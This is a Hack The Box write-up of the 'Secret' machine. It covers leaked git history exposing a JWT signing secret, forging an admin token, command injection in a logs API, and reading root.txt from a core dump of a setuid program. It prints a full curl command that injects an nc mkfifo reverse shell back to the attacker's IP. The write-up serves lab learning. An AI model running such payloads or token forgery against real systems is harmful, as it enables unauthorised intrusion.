# Enumeration
#### Nmap
3 ports, 2 of which are http service that we have to check on our browser.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open http Node.js (Express middleware)
|_http-title: DUMB Docs
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
#### Port 80
We see it is a website that contains a tutorial on how to register a user, login as user and basically operate the API.
#### Port 3000
Same as port 80
#### Dirbuster
We have found a zip file. Usually, open source projects contain the files they are comprised of.
![[HackTheBox Notes/Linux/Secret/dirbuster.PNG]]#### Files.zip Analysis
We find .git which should contain commits and files that could contain interesting info.
┌──(root💀kali)-[~/Downloads/local-web]
└─# ls -la
total 116
drwxr-xr-x 8 root root 4096 Sep 3 01:57 .
drwxr-xr-x 5 root root 4096 Nov 11 08:41 ..
-rw-r--r-- 1 root root 72 Sep 3 01:59 .env
drwxr-xr-x 8 root root 4096 Sep 8 14:33 .git
-rw-r--r-- 1 root root 885 Sep 3 01:56 index.js
drwxr-xr-x 2 root root 4096 Aug 13 00:42 model
drwxr-xr-x 201 root root 4096 Aug 13 00:42 node_modules
-rw-r--r-- 1 root root 491 Aug 13 00:42 package.json
-rw-r--r-- 1 root root 69452 Aug 13 00:42 package-lock.json
drwxr-xr-x 4 root root 4096 Sep 3 01:54 public
drwxr-xr-x 2 root root 4096 Sep 3 02:32 routes
drwxr-xr-x 4 root root 4096 Aug 13 00:42 src
-rw-r--r-- 1 root root 651 Aug 13 00:42 validations.js
┌──(root💀kali)-[~/Downloads/local-web]
└─# cd .git
┌──(root💀kali)-[~/Downloads/local-web/.git]
└─# ls
branches COMMIT_EDITMSG config description HEAD hooks index info logs objects refs
┌──(root💀kali)-[~/Downloads/local-web/.git]
└─# cd logs
┌──(root💀kali)-[~/Downloads/local-web/.git/logs]
└─# ls
HEAD refs
┌──(root💀kali)-[~/Downloads/local-web/.git/logs]
└─# cat HEAD
0000000000000000000000000000000000000000 55fe756a29268f9b4e786ae468952ca4a8df1bd8 dasithsv <
[email protected]> 1630648552 +0530 commit (initial): first commit
55fe756a29268f9b4e786ae468952ca4a8df1bd8 3a367e735ee76569664bf7754eaaade7c735d702 dasithsv <
[email protected]> 1630648599 +0530 commit: added downloads
3a367e735ee76569664bf7754eaaade7c735d702 4e5547295cfe456d8ca7005cb823e1101fd1f9cb dasithsv <
[email protected]> 1630648655 +0530 commit: removed swap
4e5547295cfe456d8ca7005cb823e1101fd1f9cb de0a46b5107a2f4d26e348303e76d85ae4870934 dasithsv <
[email protected]> 1630648759 +0530 commit: added /downloads
de0a46b5107a2f4d26e348303e76d85ae4870934 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78 dasithsv <
[email protected]> 1630648817 +0530 commit: removed .env for security reasons
67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78 e297a2797a5f62b6011654cf6fb6ccb6712d2d5b dasithsv <
[email protected]> 1631126007 +0530 commit: now we can view logs from server 😃
At this point I have decided to look for a clue in google what to do with the .git and found that there are GitTools on github that we could use to dump data from it.
┌──(root💀kali)-[/opt/GitTools/Extractor]
└─# ls
extractor.sh README.md
┌──(root💀kali)-[/opt/GitTools/Extractor]
└─# ./extractor.sh ~/Downloads/local-web dump
###########
# Extractor is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########
At this point I did not know what to do with the dump. So I decided to proceed with the instructions given on the secret.htb website.
#### Create a new user and login
Looking back at the website there is a section to register user:
We can try to register one:
Unsuccessful, it requires us a name even though it was supplied... I realised I was missing Content-Type information in the POST request body.
Now I need to fix the error by making the name longer.
Nice, we registered a usr successfully. Now we could try to login. From the website, the instructions are the following:
We got a JWT token after we logged-in. We can decode the token and analyze the contents.
I thought a bit and decided to look through the dump for a "token" and "admin". I found that there is a user called "theadmin" and a JWT token.
┌──(root💀kali)-[/opt/GitTools/Extractor/dump]
└─# grep -IR "admin"
<deleted>
4-67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78/routes/forgot.js: if (name == 'theadmin') {
4-67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78/routes/forgot.js: role: "you are admin",
<deleted>
#grep -IR "TOKEN"
3-de0a46b5107a2f4d26e348303e76d85ae4870934/.env:TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
In jwt.io we can edit the JWT token we got from the response message:
1. Paste the original token we got after we logged in.
![[jwt edit.PNG]]
2. Edit the name variable to be "theadmin" and within "VERIFY SIGNATURE" paste the JWT token we got from the TOKEN_SECRET.
![[jwt edit 1x.PNG]]
Now copy the Encoded JWT token
# Reverse Shell
From previous enumeration, the creator hinted us about the .env being removed for security reasons. Additionally, the creator talks about the ability to get logs from the system. In private.js file it is said that we have to specify file name as the get parameter with the name file.
┌──(root💀kali)-[/opt/GitTools/Extractor]
└─# curl 'http://10.10.11.120:3000/api/logs?file=%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.7+1234+>/tmp/f' -H "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MThlNDMxMmZjMzIwNDA0NTlkNWUzMmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRlc3RAYS5hZyIsImlhdCI6MTYzNjcxMzQ4OX0.d1oGnqiO62eT9DE79I9A0BsgBjM_eav6y-79Uzuxcio"
^[[3~curl: (52) Empty reply from server
┌──(root💀kali)-[~/Downloads/local-web/.git]
└─# nc -nvlp 1234 1 ⨯
listening on [any] 1234 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.120] 33086
/bin/sh: 0: can't access tty; job control turned off
$ whoami
dasith
# Privilege Escalation
Shell stabilisation
$ python -c 'import pty;pty.spawn("/bin/bash")'
/bin/sh: 6: python: not found
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
dasith@secret:~/local-web$ export TERM=xterm
export TERM=xterm
dasith@secret:~/local-web$ ^Z
zsh: suspended nc -nvlp 1234
┌──(root💀kali)-[~/Downloads/local-web/.git]
└─# stty raw -echo; fg 148 ⨯ 1 ⚙
[1] + continued nc -nvlp 1234
Look for setuid files. We find a file called "count". I recognise that this file is not a system one but a user file, so I have to investigate it.
dasith@secret:~/local-web$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/opt/count
/snap/snapd/13640/usr/lib/snapd/snap-confine
/snap/snapd/13170/usr/lib/snapd/snap-confine
/snap/core20/1169/usr/bin/chfn
/snap/core20/1169/usr/bin/chsh
/snap/core20/1169/usr/bin/gpasswd
/snap/core20/1169/usr/bin/mount
/snap/core20/1169/usr/bin/newgrp
/snap/core20/1169/usr/bin/passwd
/snap/core20/1169/usr/bin/su
/snap/core20/1169/usr/bin/sudo
/snap/core20/1169/usr/bin/umount
/snap/core20/1169/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1169/usr/lib/openssh/ssh-keysign
/snap/core18/2128/bin/mount
/snap/core18/2128/bin/ping
/snap/core18/2128/bin/su
/snap/core18/2128/bin/umount
/snap/core18/2128/usr/bin/chfn
/snap/core18/2128/usr/bin/chsh
/snap/core18/2128/usr/bin/gpasswd
/snap/core18/2128/usr/bin/newgrp
/snap/core18/2128/usr/bin/passwd
/snap/core18/2128/usr/bin/sudo
/snap/core18/2128/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2128/usr/lib/openssh/ssh-keysign
/snap/core18/1944/bin/mount
/snap/core18/1944/bin/ping
/snap/core18/1944/bin/su
/snap/core18/1944/bin/umount
/snap/core18/1944/usr/bin/chfn
/snap/core18/1944/usr/bin/chsh
/snap/core18/1944/usr/bin/gpasswd
/snap/core18/1944/usr/bin/newgrp
/snap/core18/1944/usr/bin/passwd
/snap/core18/1944/usr/bin/sudo
/snap/core18/1944/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1944/usr/lib/openssh/ssh-keysign
dasith@secret:~/local-web$ cd /opt/
dasith@secret:/opt$ ls
code.c count valgrind.log
dasith@secret:/opt$ file count
count: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=615b7e12374cd1932161a6a9d9a737a63c7be09a, for GNU/Linux 3.2.0, not stripped
We see it is a binary file. I would use strings to analyse the contents of the binary:
dasith@secret:/opt$ strings count
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
exit
readdir
fopen
closedir
__isoc99_scanf
strncpy
__stack_chk_fail
putchar
fgetc
strlen
prctl
getchar
fputs
fclose
opendir
getuid
strncat
__cxa_finalize
__libc_start_main
snprintf
__xstat
__lxstat
GLIBC_2.7
GLIBC_2.4
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
[]A\A]A^A_
Unable to open directory.
??????????
Total entries = %d
Regular files = %d
Directories = %d
Symbolic links = %d
Unable to open file.
Please check if file exists and you have read privilege.
Total characters = %d
Total words = %d
Total lines = %d
Enter source file/directory name:
%99s
Save results a file? [y/N]:
Path:
Could not open %s for writing
:*3$"
GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.8060
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
code.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
__stat
putchar@@GLIBC_2.2.5
strncpy@@GLIBC_2.2.5
_ITM_deregisterTMCloneTable
_edata
fclose@@GLIBC_2.2.5
opendir@@GLIBC_2.2.5
strlen@@GLIBC_2.2.5
__lxstat@@GLIBC_2.2.5
__stack_chk_fail@@GLIBC_2.4
getuid@@GLIBC_2.2.5
snprintf@@GLIBC_2.2.5
fputs@@GLIBC_2.2.5
strncat@@GLIBC_2.2.5
fgetc@@GLIBC_2.2.5
closedir@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
getchar@@GLIBC_2.2.5
__gmon_start__
__dso_handle
_IO_stdin_used
prctl@@GLIBC_2.2.5
__xstat@@GLIBC_2.2.5
readdir@@GLIBC_2.2.5
__libc_csu_init
__bss_start
main
__lstat
fopen@@GLIBC_2.2.5
__isoc99_scanf@@GLIBC_2.7
dircount
exit@@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
setuid@@GLIBC_2.2.5
__cxa_finalize@@GLIBC_2.2.5
filecount
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment
We notice that it uses a couple of other files within the code. But I need a better view of the code:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dirent.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/limits.h>
void dircount(const char *path, char *summary)
{
DIR *dir;
char fullpath[PATH_MAX];
struct dirent *ent;
struct stat fstat;
int tot = 0, regular_files = 0, directories = 0, symlinks = 0;
if((dir = opendir(path)) == NULL)
{
printf("\nUnable to open directory.\n");
exit(EXIT_FAILURE);
}
while ((ent = readdir(dir)) != NULL)
{
++tot;
strncpy(fullpath, path, PATH_MAX-NAME_MAX-1);
strcat(fullpath, "/");
strncat(fullpath, ent->d_name, strlen(ent->d_name));
if (!lstat(fullpath, &fstat))
{
if(S_ISDIR(fstat.st_mode))
{
printf("d");
++directories;
}
else if(S_ISLNK(fstat.st_mode))
{
printf("l");
++symlinks;
}
else if(S_ISREG(fstat.st_mode))
{
printf("-");
++regular_files;
}
else printf("?");
printf((fstat.st_mode & S_IRUSR) ? "r" : "-");
printf((fstat.st_mode & S_IWUSR) ? "w" : "-");
printf((fstat.st_mode & S_IXUSR) ? "x" : "-");
printf((fstat.st_mode & S_IRGRP) ? "r" : "-");
printf((fstat.st_mode & S_IWGRP) ? "w" : "-");
printf((fstat.st_mode & S_IXGRP) ? "x" : "-");
printf((fstat.st_mode & S_IROTH) ? "r" : "-");
printf((fstat.st_mode & S_IWOTH) ? "w" : "-");
printf((fstat.st_mode & S_IXOTH) ? "x" : "-");
}
else
{
printf("??????????");
}
printf ("\t%s\n", ent->d_name);
}
closedir(dir);
snprintf(summary, 4096, "Total entries = %d\nRegular files = %d\nDirectories = %d\nSymbolic links = %d\n", tot, regular_files, directories, symlinks);
printf("\n%s", summary);
}
void filecount(const char *path, char *summary)
{
FILE *file;
char ch;
int characters, words, lines;
file = fopen(path, "r");
if (file == NULL)
{
printf("\nUnable to open file.\n");
printf("Please check if file exists and you have read privilege.\n");
exit(EXIT_FAILURE);
}
characters = words = lines = 0;
while ((ch = fgetc(file)) != EOF)
{
characters++;
if (ch == '\n' || ch == '\0')
lines++;
if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0')
words++;
}
if (characters > 0)
{
words++;
lines++;
}
snprintf(summary, 256, "Total characters = %d\nTotal words = %d\nTotal lines = %d\n", characters, words, lines);
printf("\n%s", summary);
}
int main()
{
char path[100];
int res;
struct stat path_s;
char summary[4096];
printf("Enter source file/directory name: ");
scanf("%99s", path);
getchar();
stat(path, &path_s);
if(S_ISDIR(path_s.st_mode))
dircount(path, summary);
else
filecount(path, summary);
// drop privs to limit file write
setuid(getuid());
// Enable coredump generation
prctl(PR_SET_DUMPABLE, 1);
printf("Save results a file? [y/N]: ");
res = getchar();
if (res == 121 || res == 89) {
printf("Path: ");
scanf("%99s", path);
FILE *fp = fopen(path, "a");
if (fp != NULL) {
fputs(summary, fp);
fclose(fp);
} else {
printf("Could not open %s for writing\n", path);
}
}
return 0;
}
At this point I was quite stuck. Could not figure it out but got a nudge by a fellow hacker and was told to look for something that is "dumpable". So I did and found the following line within the code: ```prctl(PR_SET_DUMPABLE, 1);```
https://man7.org/linux/man-pages/man2/prctl.2.html
- According to the man page of prctl PR_SET_DUMPABLE when the state is set, it produces a core dump under specific conditions.
A quick google search leads me to a stackoverflow post where the person explains that a core dump could be generated by an error. So I thought about crashing the process and analysing the core dump file. For the purpose, I first created a 2nd reverse shell from which I will initiate a kill command.
![[core dump.PNG]]
This thread explained me how I can read a crash file:
https://askubuntu.com/questions/434431/how-can-i-read-a-crash-file-from-var-crash
dasith@secret:/opt$ cd /var/crash
dasith@secret:/var/crash$ ll
total 88
drwxrwxrwt 2 root root 4096 Nov 12 13:44 ./
drwxr-xr-x 14 root root 4096 Aug 13 05:12 ../
-rw-r----- 1 root root 27203 Oct 6 18:01 _opt_count.0.crash
-rw-r----- 1 dasith dasith 28108 Nov 12 13:44 _opt_count.1000.crash
-rw-r----- 1 root root 24048 Oct 5 14:24 _opt_countzz.0.crash
dasith@secret:/var/crash$ mkdir /tmp/crashdump
dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash /tmp/crashdump/
dasith@secret:/var/crash$ cd /tmp/crashdump/
dasith@secret:/tmp/crashdump$ ls
Architecture DistroRelease ProblemType ProcEnviron Signal
CoreDump ExecutablePath ProcCmdline ProcMaps Uname
Date ExecutableTimestamp ProcCwd ProcStatus UserGroups
Analysing the CoreDump file:
dasith@secret:/tmp/crashdump$ strings CoreDump
CORE
CORE
count
./count -p
IGISCORE
CORE
ELIFCORE
/opt/count
/opt/count
/opt/count
/opt/count
/opt/count
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
CORE
////////////////
Path:
Could
LINUX
////////////////
Path:
Could
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
exit
readdir
fopen
closedir
__isoc99_scanf
strncpy
__stack_chk_fail
putchar
fgetc
strlen
prctl
getchar
fputs
fclose
opendir
getuid
strncat
__cxa_finalize
__libc_start_main
snprintf
__xstat
__lxstat
GLIBC_2.7
GLIBC_2.4
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
Unable to open directory.
??????????
Total entries = %d
Regular files = %d
Directories = %d
Symbolic links = %d
Unable to open file.
Please check if file exists and you have read privilege.
Total characters = %d
Total words = %d
Total lines = %d
Enter source file/directory name:
%99s
Save results a file? [y/N]:
Path:
Could not open %s for writing
:*3$"
Path: esults a file? [y/N]: words = 2
Total lines = 2
oot/root.txt
<edited>c0572f41284ab<edited>
aliases
ethers
group
It seems, we have the root.txt file contents.